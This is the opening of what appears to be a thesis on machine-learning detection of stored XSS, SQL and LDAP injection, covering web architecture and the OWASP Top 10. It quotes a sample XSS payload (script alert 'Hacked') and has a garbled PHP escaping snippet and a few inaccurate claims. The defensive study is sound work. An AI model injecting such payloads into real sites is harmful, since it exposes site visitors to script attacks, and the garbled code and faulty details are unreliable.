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Web applications now play an essential role in our daily lives; through them we can
make bank transfers, purchase products and/or make bookings on the Internet. This
makes them a target for attackers who will attempt to exploit security vulnerabil-
ities in web applications in order to obtain access to sensitive user information or
gain unauthorized privileges. One of the most common attacks aimed at stealing
user information is Cross-Site Scripting; this is ranked among the top 10 security
vulnerabilities in web applications. Traditional defense systems rely on a signature
database describing known attacks; however, XSS attacks written in JavaScript are
very variable; they do not exist only in a single form. The most common cause of
XSS security vulnerabilities is weakness of verification of the user’s input. This
provides the motivation for finding a method for identifying malicious code, written
in JavaScript, that an attacker attempts to have executed on the server.
Machine learning has contributed to the security of web applications. Several
studies have been conducted in relation to Intrusion Detecting Systems (IDS) which
detect and prevent attacks against web applications. Cross-Site Scripting is one of
the attacks that has been studied employing a number of methods: for example,
using features to identify obfuscated scripts or using JavaScript keywords, evaluating
machine learning algorithms in term of detecting attacks against web applications
such as random forest, and SVM. These studies have achieved highly accurate results
by using machine learning to detect XSS attacks. They often attained better results
than dynamic and static analysis in terms of acting as a protection layer for web
applications.
This present study will demonstrate the use of machine learning methods, in-
corporated into a web application at the user input validation stage - prior to the
request being passed to the application server. Classifiers will be used to prevent
persistent or stored XSS attacks, which are caused by malicious code injections
via an input point in the web application. This study relies on supervised machine
learning and the application of Boolean feature sets, in order to achieve ease and
speed of classification. Furthermore, this study examined the use of such methods
on two other types of injection attacks: SQL-i and LDAP. Cascading classifiers and
ensemble techniques were used to reduce complexity while maintaining accuracy
and speed. To understand how a decision is made in the classifier, an approximate
Boolean function is extracted; this is done based on the techniques which have been
employed to extract rules from black box classifiers.
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Web application security is an important field within information security - because
of the public’s need to use such applications to perform the normal requirements
of daily life. Web application vulnerabilities include system flaws or weaknesses
in such applications leading to a lack of validation or sanitizing of inputs, the
misconfiguration of web servers and design flaws which can be exploited to threaten
an application’s security. Vulnerabilities arise from the user’s need to interact with
the web application. These vulnerabilities have been used by attackers to damage
and exploit such applications – attacks include SQL injections (SQL-i), insecure
cryptographic storage, Cross Site Scripting (XSS) and so on. The most common
security weakness in web applications is the lack of verification of the client input or
of the environment [164]. Multiple client-side and server-side vulnerabilities, like
SQL injection and Cross-Site Scripting weaknesses, are discovered and exploited
by hackers. SQL injection attacks and Cross-Site Scripting vulnerabilities have
been ranked as the top vulnerabilities in terms of being exploited by the Open Web
Application Security Project (OWASP) in their top ten vulnerabilities list [150]. In
the first published form of this list, "OWASP Top 10" from 2004 to 2017, various
Cross-Site Scripting (XSS) vulnerabilities comprised all the top 10 web application
security bugs. This kind of attack is doubly dangerous as it forms the basis for other
kinds of attacks[161]: such as the dynamic loader attack, where setting a < script >
tag within the < head > section is used to connect to an external page to download
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code to be executed. XSS holds comprises 43% of all reported vulnerabilities [99].
The attack can be applied by inserting a script into the client side to be saved in
the web application server - which then attacks visitors (victims). Such code can
be written in any scripting language: e.g., JavaScript or VB Script, for example.
JavaScript is the language mostly used by attackers, but other script languages may
also be used [122]. Web application vulnerabilities occur because web application
developers can make mistakes, such as not verifying a user’s input or not cleansing
the inputs, which lead to vulnerabilities. Moreover, the valuing of a web application
developer’s work generally depends on the final form of the application and the
functionality it offers to the end user, rather than its security. Also, strict time
constraints often do not give developers enough time to conduct an accurate security
analysis of the applications they are involved with developing. These circumstances
can lead to the existence of vulnerabilities in web applications [105]. Thus, the
attacker exploits these factors to attack the user’s browser. For example, the user
opens more than one tab in the browser, which contains many interesting headlines,
videos, ads, and a site to pay tickets, all of which share the use of JavaScript. When
you click on an advertisement, it is redirected to another page, as this page contains a
script that connects to a banking website and quietly transfers money from the user’s
account to the attacker’s account or card. It is worth noting here that the same-origin
policy (SOP) eliminates this issue, but attackers use different methods to exploit
vulnerabilities in web applications and to bypass the same-origin policy (SOP).
Application vulnerabilities can help attackers by enabling them to embed fragments
and malicious code in page content. Another example, what if an attacker could
bypass web application filters and store a script in the web application’s database and
then the user visits this page. The script will be executed on the user’s browser. It is
possible that the attacker may obtain sensitive data from the user and the simplest
attack is to frighten the user by displaying a message on the user’s browser by using
< script > alert(”Hacked”)< /script > [159].
Some studies and experiments have been conducted to discover vulnerabilities
in web applications, relating to, e.g., SQL injection and Cross-Site Scripting (XSS).
2
1.1 Motivation and Research Objectives
These studies have addressed the vulnerabilities in web applications that enable the
attacker to insert malicious code into the application.
An example of a famous Cross-Site Scripting attack from the past ten years is that
which exploited the ASDA Supermarket website. This attack provided hackers with
the opportunity to collect customer information and payment details [199].YouTube
has been affected by an XSS attack whereby the attacker injected code into the
comments section. That code might lead to pop-up screens featuring fake news, or
links to adult sites [19]. Another example of a site which has been subjected to such
attacks is eBay - which was affected by an XSS attack which redirected users to
harmful sites [114]. The vulnerabilities exploited in the above examples were of
the (mostly persistent) Cross-Site Scripting type. In this thesis, Cross-Site Scripting
vulnerabilities have been selected for investigation, furthermore, persistent or stored
types will be the focus of attention.
1.1 Motivation and Research Objectives
Web application vulnerabilities is a big area of research and there are various types of
vulnerabilities which must be considered. Cross-Site Scripting (XSS) is a widespread,
serious, and dangerous type of attack [150]. As discussed above, the associated
vulnerability allows the attacker to steal sensitive information from users. An attack
occurs by injecting malicious code which has been written in JavaScript or any
other scripting language into a web application input point: such as an input box,
a comment box, a username/password box or guest box. Malicious code affects
the user’s browser, allowing the attacker to obtain sensitive information from the
victim. Figure 1.1 illustrates a Cross-Site Scripting attack. From the figure, it can
be observed that the attacker injects malicious script via an input point in the web
application where it is then then stored in the application database. When the user
requests the page that contains the malicious script, the malicious script will be
executed on the user’s device (browser), thus allowing the attacker to obtain the
sensitive information of the user (victim).
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Fig. 1.1 Method of a Cross-Site Scripting Attack [146]
In 2018, 70 types of weaknesses have been found in web applications. Cross-
Site Scripting (XSS) vulnerabilities are present in many web applications. The
securing of sensitive data is a significant problem in relation to web applications,
since protecting sensitive user information is a priority in the information security
field. Web application vulnerabilities: statistics for 2018 [158] state that 91% of
personal data is susceptible to leakage.
Cross-Site Scripting attacks are of particular interest in this present study; over
the years Cross-Site Scripting has emerged as the means by which vulnerable sites
are attacked in most cases. It was estimated that the percentage of sites with XSS
vulnerability increased from 77.9% in 2017 to 88.5% in 2018; such vulnerabilities
can have serious consequences, as confirmed by the various headline-grabbing data
breaches. Figure 1.2 shows the rise of XSS vulnerabilities in 2018 alongside the
4
1.1 Motivation and Research Objectives
percentage of all attacks against the user that were caused by such a vulnerability
[158]. As can be seen from the figure, the percentage of XSS attack is 88.5%.
Fig. 1.2 Vulnerabilities Allowing Attacks Against Users [158]
There are two approaches to resolve this issue, which are aimed at protecting
web applications and users (server-side, client-side), namely, attack detection and
attack prevention. This study focuses on the server-side, so detection and prevention
of XSS attacks will be defined on this principle. XSS attack detection can be
defined as analysing the web request and server response [75].Preventing XSS
attacks is disallowing malicious input to reach the server. Standard methods to
prevent injection attacks are filtering and sanitisation which are the predominant
methods for preventing XSS attacks against web applications [206]. These methods
have several techniques [172] which can be summarised here:
• Escaping Input: It is a process to ensure that the application receives secure
data before processing it, a special character, such as (<) encodes to (&lt),
might otherwise be deciphered as harmful code. As this method allows con-
trolling the inputs that goes to the web application server [196]. In other words,
this process removes unwanted data such as malformed HTML or script tags,
to prevent this data from appearing as code. This is done by converting control
characters into its own escape sequence. Subsequently, the characters follow
the control characters are not interpreted as XML tag instead of XML content
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[32]. An example of an escape technique
Create an escape function ($string) {
return htmlspecialchars($string, ENT_QUOTES, ‘UTF-8‘)};
<?phpfunction escape
• Input Validation: This refers to the process of ensuring that the input data
is benign and does not contain unexpected characters or malicious values, as
it prevents users from entering special characters into the fields altogether
[196].This technique is to ensure that the data is only in the correct form to
be processed, which prevents malformed data from accessing the database.
Input validation should happen as the data is received from the external party.
The validation of the input is done using two strategies, which are syntactical,
where the validation is done by enforcing the correct syntax of structured fields
such as the date, or the currency symbol and semantic, where the values are
force to be entered in the specified business context such as start date is before
end date, or price is within expected range [152].
• Sanitising Input: This technique analyses the input and then cleans it of
harmful markup and changes the unacceptable inputs into an acceptable format
[196]. In other words, it transforms the input values to match the security
specifications and no longer poses a security threat to the web application
when passed to it. Typically, it removes the special characters that have special
meaning in the context or truncates the length of the input [14].
• Whitelisting Values: This technique allows only valid known values to be
entered, for example if the web application expects eye colour to be entered,
it is better if the field receives only alphabetic letters instead of numbers or
special characters or it can be a limited list of prescribed values [196]. It can
be defined as allowing specific behaviours within a web application, quite
unlike the blacklist as it involves blocking specific behaviours. Some security
solutions employ both techniques [186].
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• Content-Security Policy: This technique allows the developer of the web
page to specify where JavaScript and other potentially harmful methods can
be launched and implemented. The content security policy ensures that inline
JavaScript is not executed, which may prevent some XSS attacks. In other
words, it is a mechanism that allows web application developers to specify
client-side resources that can be executed by the browser. The functionality of
Content-Security Policy can be divided into three categories. Resource loading
restrictions, it is the limitation of the ability to download various sub-sources
of the set of origins permitted by the developer. Commonly used directives
are script-src, style-src, img-src and catch-all default-src, several additional
configuration options are available which allow for more precise control of
scripts. Auxiliary URL-based restrictions, it is a concept of trusted origins that
the document can interact with. An example is the frame-ancestors directive,
which specifies which origins are allowed to frame the document in order to
prevent clickjacking. Likewise, base-uri and form-action specify which URLs
can be targets of <base # href> and <form # action> elements in order to
prevent some XSS attacks. Lastly, miscellaneous confinement and hardening
options, is the use of block-all-mixed-content and upgrade-insecure-requests
keywords, which prevents mixed content errors and improves HTTPS, plugin
types, by restricting the allowed plugin formats, and sandbox, which mirrors
the HTML5 sandbox security frames [205].
• Trusted Types: A technique that allows developers to maintain the use of
potentially insecure DOM APIs, but prevent injections by requiring their
arguments to be created securely by a centralised policy code. This technique
is based on three objects which are: TrustedHTML interface, a string that a
developer can confidently insert into injection source that will display it as
HTML; TrustedScript, a string with a non-compiled script that the developer
can confidently pass to the injection source that may lead to the execution of
that script; TrustedScriptURL, a string that a developer can confidently pass to
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the injection source that it will parse as the URL of an external script resource.
These objects are immutable wrappers around a string [110].
This present research is one of many studies dealing with the XSS issue [63, 106,
117, 122, 164, 180]. Researchers in this field have proposed a number of different
approaches and techniques, such as primitive markup language elements [137, 192],
blacklists, whitelists [106], combinations of static and dynamic techniques [195], and
so on. It can be noted that all previous studies benefited from using the techniques
mentioned above to detect and prevent XSS attacks. However, this study differs
from other studies as it relies on analysing the input data that is entered into the
web application in any form. In this way, several techniques to prevent XSS attacks
were ignored, namely: escaping input, input validation, sanitising input, whitelisting
values. It differs in the content security policy, and trusted types where this study
does not place restrictions on user input or on URLs where the user can enter any
type of text (benign or malicious) and then it will be analysed to detect malicious
scripts and prevent it access to the web application and allow benign scripts to access
the application and database.
Machine learning techniques have also successfully contributed to the detecting
of XSS attacks [115, 163]. Supervised machine learning techniques can overcome
most of the problems mentioned earlier, because they are capable of detecting the
widest range of malicious scripts, and can adapt to changes and variations [108].
However, there are some challenges facing machine learning to achieve a high
accuracy classification in the security field, these challenges are the size of the
dataset and an imbalanced dataset [3]. A training dataset requires large amounts of
data, which is hard to find and expensive [153]. ]. Imbalance of a training dataset
occurs because malicious data is more difficult to obtain than normal data [89].
Current studies that use machine learning have achieved good results in terms
of detecting attacks, but there are a number of weaknesses in these studies. One of
the most significant weaknesses has been the reliance on certain specific datasets
which have either been created by automatic processes which it is possible that
there are mislabelled or create similar style of instances, or are too small to cover
8
1.2 Problem Description and Research Challenges
all the possibilities of attack. Moreover, studies have relied on the calculation of
features, and this may cause slow decision-making, or on features which are specific
to particular forms of attack, but do not help in the detecting of other forms. The
existing approaches will be discussed in detail in Chapter 2.
The machine learning approach has been chosen in this present study for the
detection and prevention of Cross-Site Scripting attacks on the server side. Further-
more, this present study has used a manually created dataset which covers as many
attacks as possible - to avoid the above mentioned weaknesses in terms of datasets.
Moreover, here, we use a method to extract features which is simple and effective
and does not require the making of complex calculations to identify them.
The research aim is addressed through the following main objectives:
• O1: Use supervised machine learning on the server-side as a protection layer
to detect and prevent XSS attacks, with very high accuracy, against web
applications and to act as a protective layer for the web application server.
• O2: Develop a method for filtering the inputs in order to increase the classifi-
cation accuracy rate.
• O3: Develop a method which allows for the understanding of the decision
making in the classifier. For web developers and web application security.
1.2 Problem Description and Research Challenges
Securing web applications is now a priority in the security field, this is because
of their (web applications’) many uses in our daily lives. Many studies have been
undertaken in this area of using machine learning to protect web applications from
attacks. This is especially so in relation to XSS attacks because there is still a lack
of systems which are able to detect such attacks in real time. Furthermore, existing
methods take significant amounts of time to extract the necessary features from the
input data, and this affects the performance of the web application. In addition,
the datasets which have been used to train classifiers have contained a fairly small
9
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number of malicious instances, or they have been automatically generated which
may contain one form of the instances.
Thus, the challenges of this research can be summarized as follows:
• Creating a dataset that contains malicious instances from various representative
sources.
• Extracting and using a set of features which allow for relatively simple and
fast processing.
• Developing a technique based on machine learning which is a form of dynamic
analysis, analysing the user input in order to detect XSS attacks written in
JavaScript.
• Developing a technique which can recognize new patterns forming part of an
XSS attack.
• Developing an approach to increasing classification accuracy while maintain-
ing performance in terms of speed.
• Evaluating the results and comparing the proposed approach with existing
approaches.
• Extracting the rules that can serve to explain the operation of the machine
learned classification processes.
The question that is primarily addressed in this research is: How effective is the
use of supervised machine learning algorithms in detecting Cross-Site Scripting
attacks, and how effective are simple features in relation to the performance of
classifiers?
1.3 Scope of the Research
There are a number of attack types which are used to damage web applications and
exploit their vulnerabilities: such as, SQL injection, insecure misconfiguration, and
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so on. This research focuses on the detection and prevention of XSS attacks that
are sent via HTTP requests to the web application server and are then stored in the
database so that they can affect the web application’s visitors. In addition to this
research focus there is also an attempt to investigate the possibility of detecting SQL
and LDAP injection attacks, using the same method. As previously stated, there are
many studies which deal with the issue of XSS attacks; these studies cover many
techniques: e.g., static or dynamic analysis and using machine learning to detect
attacks. This research concentrates on XSS attacks for the following reasons:
• Vulnerability to XSS is classified in OWASP 2017 as the most common security
issue and in the top ten vulnerabilities, OWASP statistics have classified XSS
as the most dangerous type of attack [150].
• The need to focus on a particular type of web application vulnerability.
1.4 Contributions
The contributions of this thesis are:
1. Creating a dataset that contains real XSS attacks against web applications,
which include obfuscated and non-obfuscated attacks, functions that to obtain
information from the victims, in addition to attacks that have been encoded
using different types of encoding such as URL, Hexadecimal, Base64. This
dataset can be used for experimental purposes.
2. Extracting a feature set depending on the type of attack (here written in
JavaScript) which is expected; in addition, common features are found in
the scripts used to attack web applications. Thus, dividing the features into
relevant groups depends on the common features and the features specific to
the particular type of attack in question.
3. Detecting XSS attacks based on supervised machine learning techniques
involves here the use and evaluation of multiple methods: Support Vector
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Machine, k-Nearest Neighbour, Random Forest, and Neural Network clas-
sifiers. And all of these methods must deal with cases of obfuscated and
non-obfuscation scripts - to simulate the situation with respect to real attacks.
4. Increasing accuracy by the use of combined techniques, viz, cascading classi-
fiers together with stacking ensemble techniques.
5. Extracting rules from classifiers that explain how each classifier makes its
decision. With the aim of developing web applications to be with a high level
of security.
1.5 Research Method
This is an empirical study which will develop a method for detecting stored Cross-
Site Scripting attacks - sent via input points in web applications and then saved to
the server-side database. The methods employed here will take advantage of use
of supervised machine learning algorithms. Classifiers, trained via such algorithms
will check requests that are sent to the web application via the user’s browser. Once
such requests are received, the features are extracted from it and examined using
one of the classifiers selected for this study. If the classifier returns a result that the
payload is benign, it will be passed to the web application database to be stored and
displayed to users. If the classification result is malicious, it will be stopped and not
allowed to pass to the web application database, but it will be stored in a separate
database for the purpose of improving the classification process.
The aim of this present study is to propose systems which will detect known
Cross-Site Scripting attacks, and also novel ones; the operation of such classifiers to
depend on the pattern of attacks on which the classifier was trained. The process of
detecting attacks will be based on five types of machine learning algorithm: Support
Vector Machine with each of two kernels, k-Nearest Neighbour, Random Forest,
and Neural Network. The purpose of using a machine learning approach is its
ability to detect zero-day attacks, whereas it can detect attacks at the time of its
occurrence against web applications. In addition to the fact that normal activities
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are customised to each system, application, or network, thereby making it difficult
for attackers to know which activities can be performed without being detected.
The main disadvantage of using a machine learning approach is the potential for
high false alarm rates (incorrect classifications) [30], which may cause a malicious
payload to pass to the web application or quarantine of a benign payload. Bearing
this in mind, during this study, malicious will be used to indicate the possibility for
the payload to be malicious. As this study aims to create classifiers that have been
balanced in terms of false positives and false negatives to achieve the best possible
classification.
This study will be carried out across several phases in order to achieve the
following objectives, as discussed next.
1.5.1 Collecting Data
This is the first phase, wherein the largest possible number of malicious instances
of XSS attacks; and SQL and LDAP injections will be collected, including benign
instances of all types such as benign JavaScript, and normal text.
1.5.2 Extracting Features
This is the second phase of the study, in which the feature sets will be extracted on
the basis of which the classifiers will then be trained. The features were divided into
two main groups: common features and features relating only to a particular type of
attack.
1.5.3 Training Classifiers
This is the third phase, in which the selected classifiers will be trained to detect XSS,
SQLi and LDAP attacks by using the features groups that will be identified in the
second phase and then extracted from the datasets. In addition, the classifiers will be




This is the fourth phase, in which the effectiveness of the classifiers built in the third
phase will be evaluated. Effectiveness will be tested via sequences of user input. A
thorough analysis of the results will be performed to measure the effectiveness of
the classifiers. Comparison of the results with those of existing approaches in the
literature will also take place.
1.6 Thesis Outline
• Chapter 2: Introduces the web applications architecture and the transforma-
tions of data which take place between layers. Also, it discusses the concept
of security in web applications and illustrates the top ten vulnerabilities of
such applications. In addition, it provides an overview of the current methods
employed to detect and prevent XSS attacks. Moreover, it reviews the types of
XSS attacks extant with an explanation of the risk to the user caused by these
types of attack. Furthermore, it reviews code obfuscation with an explanation
of the most common methods of obfuscation. Then, it outlines the types of
machine learning used in this area. Finally, it discusses detection techniques
used to detect XSS attacks.
• Chapter 3: Provides a discussion of the creation of the datasets and the
sources used for this, in addition to their types and divisions. Explains the
XSS, SQL-i, LDAP, and text datasets, and provides methods that were used
in preparing the dataset. Extracting features, and the methods that are used
for this selection, and also presented to differentiate between malicious and
benign scripts. Completes the discussion by explaining in detail the features
groups.
• Chapter 4: Provides details of, and discusses, the types of classifier that have
been used in the experiments. Each classifier is discussed separately in detail
with an explanation of the classifier optimizations and parameter-settings that
14
1.7 Publication
have been used. Moreover, the initial results obtained from using the selected
classifiers to detect, separately, the three types of attacks, XSS, SQLi and
LDAP separately, are also evaluated.
• Chapter 5: Provides details of, and discusses, the results obtained from the
use of the different feature sets to detect the three different types of attack.
The results will be presented and analysed in relation to each of the selected
classifiers separately.
• Chapter 6: Provides details of and discusses the ensemble techniques and
the cascading classifiers. It presents the evaluation criteria and the results of
testing each component of the framework. The results obtained are used to
measure the effectiveness of each component in the framework.
• Chapter 7: Presents the methods by which both the exact and the approximate
rules were extracted from the ‘black box’ classifiers by using a Boolean dataset.
It also discusses the methods of sampling that are employed for these purposes.
In addition, it describes the methods by which the Boolean expressions will
be minimized, and finally it discusses the results obtained from testing the
extracted rules on the testing dataset and compares them with the results
obtained from the classifiers themselves.
• Chapter 8: Provides a summary of the thesis as a whole, and discusses the
main results achieved. In addition, it discusses the results obtained from the ex-
periments and the achievements of this research in relation to its set objectives.
Moreover, it summarises the contribution of this present research and explains
the limitations which emerged in the course of this study. Furthermore, it
proposes future work related to this thesis.
1.7 Publication
The following peer-reviewed papers have been published
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Chapter 2
Background and Related Works
2.1 Introduction
This study focuses on detecting XSS attacks against web applications; such a study
requires a thorough understanding of some basic concepts relating to web applica-
tions architecture. Moreover, it is necessary to understand the methods that are used
to send requests to web servers as well as the dangers that arise from XSS attacks.
This chapter is organized into a number of sections. An overview of web applica-
tions will be presented first, with an explanation of the concepts and architectures
involved with these applications, in Section 2.2; in addition, an outline of HTTP
requests is included in that section. Section 2.3 reviews security in web applications
with an explanation of vulnerabilities and vulnerability types. Furthermore, that
section will outline the ’top 10’ web application vulnerabilities. Section 2.4 describes
cross-site scripting (XSS) and its history, and the types of cross-site scripting which
may be encountered. Furthermore, the dangers represented by XSS are described.
Section 2.5 provides an overview of this technique with an explanation of the most
common methods used by attackers to obfuscate their attack-code. Section 2.6
discusses the methods used to analyse XSS attacks against web applications, with
a detailed explanation of each type of attack. Section 2.7 this section provides an
overview of machine learning. Section 2.8 reviews the types of machine learning
which exist with an explanation of the most commonly used methods. Section 2.9
17
Background and Related Works
explains supervised learning and the types of such algorithms available. Section 2.10
discusses related works focused on detecting cross-site scripting attacks and the
exploitation of web application vulnerabilities; the approaches are categorized based
on the techniques that are used to prevent XSS attacks. Section 2.11 summarizes the
chapter.
2.2 Web Application Overview
The security of web applications is an issue for many organizations: companies,
banks, universities, and so on. A basic knowledge of web application architecture
and the data transformations which take place within such is required in order to
understand the security aspects of these applications. In this section, we will review
web application architecture as well as the data transformations which take place
within applications.
2.2.1 The Concept of the Web Application
The rapid development of computer software and also communications over the
Internet has led to an increase in services provided over the Internet. Companies or
institutions are motivated to attract users to access their own web pages in order to
achieve the best returns on the investments they have made into their availability on
the Internet. Thus, these institutions and companies put a great deal of effort into
developing the services and data which they make available via web applications. A
web application is a software system that can be accessed by the end-user over the
Internet [37]. Accordingly, a web application has some features which are similar to
those of the web itself: e.g., accessibility, availability, and scalability.
2.2.2 Web Application Architecture
Web applications typically consist of three main layers, as follows: (domain) the
logic layer, the middle-tier, and the data layer. Figure 2.1 shows the web application
layers.
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Fig. 2.1 Web Application Architecture [209]
The web application architecture can be described, according to [209], as follows:
• Client layer: This layer is executed on the user’s browser and implements the
user interface. It allows the user to view the web page content and enter, or
change, input data as needed. The techniques used by the client layer are:
– The dump technique: This technique is used in older versions of web-
sites — those constructed by employing HTML code only. However,
when using such pages, no data validation can be carried out on the client-
side and this means that the earliest that entered data can be checked is
in the middle tier. Accordingly, if any errors are caught by the middle
tier layer, this will be resoponsible for posting a notification of the error
back to the user’s browser.
– The semi-Intelligent technique: This technique employs HTML, JavaScript,
and dynamic HTML to build the pages. This is more flexible than the
previously mentioned environment and allows the developer to design
pages which can dynamically offer different options to the user and
can validate the user’s input, all these processes being executed on the
client-side. As a result, the performance of the pages will be better.
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• Middle tier: This tier actually consists of two (sub) layers, a presentation
layer and a business layer. The presentation layer decodes the pages submitted
to the server and then generates the actual web pages and dynamic content to
be displayed on the client-side device. This layer also extracts the data that is
submitted by the user and then sends this to the business layer. The business
layer’s task is to perform the logic of the application, such as calculations and
user validation. In addition, this latter layer is used to manage work-flow and
control access to the data layer.
• Data layer: This layer organizes and stores the data that is passed from the
business layer and obtains any required computational results from the business
layer as well. Moreover, some further data manipulation may occur in this
layer. For example, a business layer may request specific data from the data
layer. The necessary preparation of this data (for use) can take place at either
layer: business or data. Similarly, if calculation or the grouping of data is
needed, the database engine (at the data layer) and its procedures can be used
to perform these tasks.
2.2.3 HTTP Requests
The Hyper-Text Transfer Protocol (HTTP) is an internet protocol which operates on
a message-based model. Essentially, a client sends a request to the server then the
server returns the response to the client. This is an application-level protocol which
was used, originally, only to send and receive static resources. Subsequently, to
support the massive recent developments in Internet use, HTTP has been augmented
in order to support complex applications [60]. Nevertheless, HTTP is one of the most
significant means by which attackers can send malicious scripts to servers. Attackers
use numerous techniques, all afforded by HTTP. These techniques are all based on
requesting the execution of a function provided by the web server. The methods most
commonly used in a request to retrieve or update a resource held on a web server
are GET and POST (attackers are also interested in inserting malicious content into
databases [182]). GET sends parameters directly, using a URL query string. POST
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sends data in the body of the message. There are other methods offered by HTTP1.1
— other than GET and POST. These are TRACE, DELETE, HEAD, PUT, OPTIONS,
and CONNECT. Not all of these methods are implemented on every server, but GET
and HEAD are ubiquitous. However, none of these methods are entirely methods in
that all of them can be used for targeting web applications[104].
GET and HEAD are both used to request web pages; HEAD is like GET except
that the server returns in its response only the headers. OPTIONS is used to find out
what methods are supported by a server. The TRACE method returns information
concerning the last request made to the server. The PUT method is used to upload
data to the server. The DELETE method is used to remove resources from the server.
The CONNECT method is used to create an HTTP tunnel, to support further requests
[173].
2.3 Web Application Security
Web applications, of course, will allow users to access the services that they have
been set-up to offer. However, this means that they may create vulnerabilities
whereby attackers can exploit these applications for illegitimate purposes. People
who have extensive knowledge of computer technology and who aim to damage or
bypass internet security are commonly known as hackers, and their activities are
known as hacking [79]. One of the main reasons for weaknesses in web applications
is that developers focus on implementing functionality and so do not concentrate on
the security side [8]. Many approaches have been developed to improve the security
of web applications with respect to malicious attacks. Each approach tends to provide
protection from a particular perspective. Some approaches attempt to secure the
network, some to secure the application server, and some to secure the application
itself. In order to find a solution, developers must be familiar with the problem
that requires this solution. Thus, in the following, common security problems are
reviewed together with an explanation of the types of hacking (and its purposes)
associated with each.
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2.3.1 Hacking
Originally, the name "hacker" was used for anyone exploring or trying to understand
how a computer system works and who wrote untidy code for temporary purposes.
However, this idea of the “hacker” has changed over time. The term is now used
for anyone who uses malicious code in order to crash a system, obtain unauthorized
access to personal data, or for any other malicious purposes [56].
2.3.2 Types of Hacking
In general, hackers can be classified according to specific criteria which distinguish
between each type. The first level of classification is defined from the ethical
perspective; thus, at this level, hackers can be classified into one of two types: ethical
and unethical. Ethical hackers include those whose intention is to perform a test
to find vulnerabilities in an application — using hacker techniques [17, 20, 154].
Unethical hacking has a malicious goal — of, for instance, damaging an application
or of stealing sensitive information. A further level of classification is based on the
target of the hacking, as follows:
• Server hacking operates by exploiting an insecure port on a server.
• Network hacking is aimed at stealing data that is transferred over the network.
• Personal computer hacking operates by taking advantage of unsafe ports on
PCs, or alternatively by exploiting vulnerabilities in a browser running on a
PC — in order to steal personal information.
• Web application hacking proceeds by finding vulnerabilities in a web applica-
tion then exploiting them [20].
Therefore, hacking, generally, is a threat to the web environment. In response,
the purpose of web application security is to secure applications wherever they are
implemented — from user devices to application servers.
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2.3.3 Web Application Vulnerabilities
Web applications suffer from many common types of vulnerabilities. A vulnerability
is a weak-point, or "gap" that allows a malicious attacker to put the application
stakeholders at risk. Stakeholders are defined to be the user, the owner, and any
other agents that the application depends on (and to one extent or another, depend
on it) [149]. There are several types of web application vulnerability. Each type
is associated with certain kinds of attack which take advantage of it. Each kind of
attack has its own specific properties such as its style and how it can be detected
and/or prevented. The Open Web Application Security Project (OWASP) statistics
showing the top ten kinds of vulnerability associated with web applications are as
follows:
Fig. 2.2 OWASP Top 10 for 2017 [133]
The types of attack included in OWASP 2017 [150] are as follows:
• A1-Injection: This vulnerability leads to the attacker injecting commands or
inquiries into the application via untrustworthy data. The application inter-
preter will execute the injection alongside the normal commands issued to the
application. In this way, the application data can be affected by unauthorized
access, and other effects can result from the execution of commands not issued
in good faith by authorized users. The most common types of injection are
SQL (Structure Query Language) injections; OS (Operating System), termed,
shell injections; and LDAP (Lightweight Directory Access Protocol).
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• A2-Broken Authentication and Session Management: This type of vulner-
ability occurs as a result of poor implementation of authentication functions;
this means that the attacker can hijack user sessions or passwords by compro-
mising the authentication provisions, then using the hijacked information for
harmful purposes such as the exploitation of sessions, posing as a legitimate
user.
• A3-Sensitive Data Exposure: This vulnerability results from web sites not
adequately protecting their sensitive data, such as credit card numbers, Tax
IDs, and authentication credentials. The attacker may steal or modify poorly
protected data, so as to conduct credit card fraud, identity theft, or other crimes.
Sensitive data requires additional protections such as encryption, when at rest
or during transport, as well as special precautions when exchanged with the
browser.
• A4-XML External Entities: This vulnerability, otherwise known as XEE,
is one that allows an attacker to interfere with the processing of XML data.
XEE often allows an attacker to browse files on the application’s server file
system, which may exchange data with back-end or external systems that are
connected to the system or are accessible via the application.
• A5-Broken Access Control: This vulnerability occurs when there is no au-
tomatic detection of this implemented in an application. This vulnerability
enables an attacker to access pages within a web application that visitors can-
not access. The attacker can bypass the access control by modifying URLs, the
internal application state, or the HTML pages. One possible consequence of
this vulnerability is to allow changes to the user records so that the attacker can
gain the privilege of being able to log-in as a user (without actually logging-in),
or even to act as an administrator.
• A6-Security Misconfiguration: This vulnerability is a result of a misconfig-
uration of the system components, or of not using the latest updates of these
components. Therefore, to avoid this type of vulnerability, a secure configu-
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ration encompassing all components must be maintained. The configuration
must be performed both at system implementation and when maintaining the
system. Moreover, it must ensure all system programs are up to date, from the
operating system to the database management systems.
• A7-Cross Site Scripting (XSS): This type of hack occurs as a result of poor
verification of untrustworthy data sent via web applications to the web browser.
This vulnerability allows a malicious script to run on the victim’s computer.
Such attacks can be classified into two categories, that is, first-order and
second-order attacks. First-order attacks are performed by inserting a script
into the web application (as it runs on the browser), or by inveigling the
victim to click on an infected link which causes the malicious script to be
executed; these kinds of attacks are also called reflected or non-persistent XSS.
In contrast, second-order attacks are termed persistent because the attacker
stores malicious scripts in the application database and thus these are active on
a permanent basis; these scripts are therefore called stored or persistent XSS.
As a result of either kind of XSS, the attacker can redirect the victim to other
malicious sites [102].
• A8- Insecure Deserialization Insecure deserialization often leads to remote
code execution. Even where deserialization flaws do not result in remote code
execution, they can be otherwise used to perform attacks, including replay
attacks, injection attacks, and privilege escalation attacks.
• A9 -Using Components with Known Vulnerabilities: The components of
an application, such as libraries, frameworks, and other software modules, al-
ways have full privileges. An attacker may exploit any vulnerable components
in order to facilitate data loss, or even to takeover the server. Applications
may include components which contain vulnerabilities that might threaten the
security of the application and enable a range of potential attacks.
• A10-Insufficient Logging & Monitoring: This vulnerability results from
failing to properly log important security events and monitor current security
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events. Undeniably, the absence of this monitoring makes it difficult to detect
malicious activity, and this affects the handling of such activity when an attack
occurs.
The vulnerabilities noted above were the top ten in 2017. Moreover, there
are many studies on, and tools built for, the detecting of the various types of web
application vulnerability. This research will explore just one type of vulnerability,
that exploited by cross-site scripting, which is described in more detail below.
2.4 Cross-Site Scripting
Cross-site scripting is a kind of attack which makes use of a common vulnerability
present in web applications; in essence, it consists of hacking by executing malicious
scripts injected by the attacker. Also, it has been classified as the seventh most
serious vulnerability of web applications, in accordance with the OWASP statistics
[150].
2.4.1 History
Right from the beginnings of the World Wide Web in 1996, and subsequently, from
the beginning of e-commerce, the vulnerabilities which can lead to cross-site became
evident [63]. In December 1999, David Ross was working on the security responses
of Internet Explorer at Microsoft. Ross demonstrated that it was possible for web
content to be vulnerable to "script injection", effectively bypassing the security
guarantees which are implemented via what is referred to as the same-origin security
policy; the vulnerability resultant from this useful, but inadequate policy, is a fault
which exists on the server-side rather than the client-side. Ross introduced this
